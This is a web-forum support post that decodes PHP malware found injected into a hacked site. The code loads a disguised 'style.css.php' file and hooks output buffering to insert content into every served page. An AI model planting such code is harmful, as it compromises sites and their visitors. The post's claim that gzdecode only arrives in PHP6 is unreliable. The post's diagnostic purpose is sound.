Just FYI, that decoded (and cleaned) is:
Code
if(function_exists('ob_start') && !isset($GLOBALS['sh_no'])) {
	$GLOBALS['sh_no']=1;

	if(file_exists('/home/imigcom/public_html/enviaMail/admin/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php')) {
		include_once('/home/imigcom/public_html/enviaMail/admin/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php');

		if(function_exists('gml') && !function_exists('dgobh')) {
			if(!function_exists('gzdecode')) {
				function gzdecode($R20FD65E9C7406034FADC682F06732868) {
					$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));
					$R60169CD1C47B7A7A85AB44F884635E41=10;
					$R0D54236DA20594EC13FC81B209733931=0;

					if($R6B6E98CDE8B33087A33E4D3A497BD86B&4) {
						$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));
						$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];
						$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;
					}

					if($R6B6E98CDE8B33087A33E4D3A497BD86B&8) {
						$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;
					}

					if($R6B6E98CDE8B33087A33E4D3A497BD86B&16) {
						$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;
					}

					if($R6B6E98CDE8B33087A33E4D3A497BD86B&2) {
						$R60169CD1C47B7A7A85AB44F884635E41+=2;
					}

					$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));

					if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE) {
						$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;
					}

					return $RC4A5B5E310ED4C323E04D72AFAE39F53;
				}
			}

			function dgobh($RDA3E61414E50AEE968132F03D265E0CF) {
				Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);

				if(preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90)) {
					return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);
				} else {
					return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;
				}
			}
			ob_start('dgobh');
		}
	}
}

So you may need to go in and do some cleanup on your site since it looks like they made a few new files...

I'd like to note that the majority of that code relies on the gzdecode function, which isn't added until PHP6... I have a hard enough time trying to find a host that supports PHP5 lol...

A quick google search (trying to figure out what the global var does) came up with a lot of similar hack posts on various forums (search)


I am a Web Development Contractor, I do not work for UBBCentral. I have provided free User to User Support since the beginning of these support forums.
Do you need Forum Install or Upgrade Services?
Forums: A Gardeners Forum
UBB.threads: UBBWiki, UBB Styles, UBB.Sitemaps
Longtime Supporter & Resident Post-A-Holic
VNC Web Services: Code Modifications, Upgrades, Styling, Coding Services, Disaster Recovery, and more!